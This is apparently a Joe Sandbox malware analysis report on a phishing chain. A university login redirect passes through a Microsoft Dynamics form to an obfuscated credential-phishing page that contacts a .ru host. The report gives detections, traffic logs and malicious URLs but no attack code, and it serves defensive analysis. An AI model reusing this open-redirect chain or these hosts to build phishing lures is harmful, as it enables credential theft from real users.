Edit tour

Windows Analysis Report
https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe

Overview

General Information

Sample URL:	https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe
Analysis ID:	1623792
Infos:

Detection

HTMLPhisher, Invisible JS

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected HtmlPhish44

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML page contains hidden javascript code

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3864 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4828 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2380,i,8774974883558803384,10919857573348917733,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6556 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_77	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author
0.3.id.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.3.id.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.3.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.3.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_77, type: DROPPED

Yara detected Invisible JS

Source: Yara match	File source: 0.3.id.script.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.3.id.script.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://rvxt.ymactablet.com/a7ju/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. The script appears to be attempting to redirect the user to a malicious domain and collect sensitive information, which is a clear indication of malicious intent.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://rvxt.ymactablet.com/a7ju/... This script demonstrates high-risk behavior, including dynamic code execution via the `eval` function and potential data exfiltration. The use of obfuscated code and multiple fallback domains further increases the risk. This script should be considered highly suspicious and potentially malicious.

Source: https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe

HTTP Parser: Base64 decoded: <svg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'><path d='M10.1328 0.296875C10.9974 0.53125 11.7891 0.898438 12.5078 1.39844C13.2266 1.89323 13.8438 2.48177 14.3594 3.16406C14.8802 3.84115 15.2839 4.59375 15.5...

Source: https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe	HTTP Parser: No favicon
Source: https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe	HTTP Parser: No favicon
Source: https://rvxt.ymactablet.com/a7ju/#about	HTTP Parser: No favicon

Source: global traffic	TCP traffic: 192.168.2.4:61068 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:56999 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.18
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe HTTP/1.1Host: login.case.eduConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe HTTP/1.1Host: assets-usa.mkt.dynamics.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe/visits HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /a7ju/ HTTP/1.1Host: rvxt.ymactablet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rvxt.ymactablet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rvxt.ymactablet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rvxt.ymactablet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/b0e4a89976ce/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rvxt.ymactablet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/b0e4a89976ce/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rvxt.ymactablet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=l63FidJAFDyWhUUQtTcJugj1TqCpkUKuOvxie6jTTkM-1740494244-1.0.1.1-AxaZVmx2v3kX84kAqK4J4NIznnFGcYXJm7lv3rAY52P2usB1jyXJOgjIr_DC63QOS7mfusDfd.o3sR0U2XDqRQ
Source: global traffic	HTTP traffic detected: GET /rand@dckb8a8u HTTP/1.1Host: p4d778.vxmeszv.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://rvxt.ymactablet.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rvxt.ymactablet.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rand@dckb8a8u HTTP/1.1Host: p4d778.vxmeszv.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: login.case.edu
Source: global traffic	DNS traffic detected: DNS query: assets-usa.mkt.dynamics.com
Source: global traffic	DNS traffic detected: DNS query: public-usa.mkt.dynamics.com
Source: global traffic	DNS traffic detected: DNS query: rvxt.ymactablet.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: p4d778.vxmeszv.ru

Source: unknown

HTTP traffic detected: POST /api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe/visits HTTP/1.1Host: public-usa.mkt.dynamics.comConnection: keep-aliveContent-Length: 153sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonContent-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://assets-usa.mkt.dynamics.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 25 Feb 2025 14:37:12 GMTContent-Length: 0Connection: closex-ms-trace-id: 1b8acb5aa28bc119830c90626f9b9625Strict-Transport-Security: max-age=2592000; preload

Source: sets.json.0.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.0.dr	String found in binary or memory: https://24.hu
Source: chromecache_79.2.dr, chromecache_76.2.dr	String found in binary or memory: https://RvXT.ymactablet.com/a7ju/
Source: sets.json.0.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.0.dr	String found in binary or memory: https://abczdrowie.pl
Source: sets.json.0.dr	String found in binary or memory: https://alice.tw
Source: sets.json.0.dr	String found in binary or memory: https://ambitionbox.com
Source: chromecache_75.2.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/forms/f762be8
Source: chromecache_79.2.dr, chromecache_76.2.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/images/fa9c9a
Source: sets.json.0.dr	String found in binary or memory: https://autobild.de
Source: sets.json.0.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.0.dr	String found in binary or memory: https://bild.de
Source: sets.json.0.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.0.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.0.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.0.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.0.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.0.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.0.dr	String found in binary or memory: https://bunsin.io
Source: sets.json.0.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.0.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.0.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.0.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.0.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.0.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.0.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.0.dr	String found in binary or memory: https://chennien.com
Source: sets.json.0.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.0.dr	String found in binary or memory: https://clarosports.com
Source: sets.json.0.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.0.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.0.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.0.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.0.dr	String found in binary or memory: https://content-loader.com
Source: sets.json.0.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.0.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.0.dr	String found in binary or memory: https://css-load.com
Source: chromecache_75.2.dr	String found in binary or memory: https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js
Source: sets.json.0.dr	String found in binary or memory: https://datasign.jp
Source: sets.json.0.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.0.dr	String found in binary or memory: https://deere.com
Source: sets.json.0.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.0.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.0.dr	String found in binary or memory: https://drimer.io
Source: sets.json.0.dr	String found in binary or memory: https://drimer.travel
Source: sets.json.0.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.0.dr	String found in binary or memory: https://een.be
Source: sets.json.0.dr	String found in binary or memory: https://efront.com
Source: sets.json.0.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.0.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.0.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.0.dr	String found in binary or memory: https://ella.sv
Source: sets.json.0.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.0.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.0.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.0.dr	String found in binary or memory: https://finn.no
Source: sets.json.0.dr	String found in binary or memory: https://firstlook.biz
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/orbitron/v31/yMJRMIlzdpvBhQQL_Qq7dy0.woff2)
Source: sets.json.0.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://geforcenow.com
Source: sets.json.0.dr	String found in binary or memory: https://gettalkdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.0.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.0.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://grid.id
Source: sets.json.0.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.0.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.0.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.0.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://hapara.com
Source: sets.json.0.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.global
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.0.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.0.dr	String found in binary or memory: https://hearty.app
Source: sets.json.0.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.0.dr	String found in binary or memory: https://hearty.me
Source: sets.json.0.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.0.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.0.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.0.dr	String found in binary or memory: https://hj.rs
Source: sets.json.0.dr	String found in binary or memory: https://hjck.com
Source: sets.json.0.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.0.dr	String found in binary or memory: https://html-load.com
Source: sets.json.0.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.0.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.0.dr	String found in binary or memory: https://img-load.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.0.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.0.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.0.dr	String found in binary or memory: https://interia.pl
Source: sets.json.0.dr	String found in binary or memory: https://intoday.in
Source: sets.json.0.dr	String found in binary or memory: https://iolam.it
Source: sets.json.0.dr	String found in binary or memory: https://ishares.com
Source: sets.json.0.dr	String found in binary or memory: https://jagran.com
Source: sets.json.0.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.0.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.0.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.0.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.0.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.0.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.0.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.0.dr	String found in binary or memory: https://libero.it
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.0.dr	String found in binary or memory: https://livechat.com
Source: sets.json.0.dr	String found in binary or memory: https://livechatinc.com
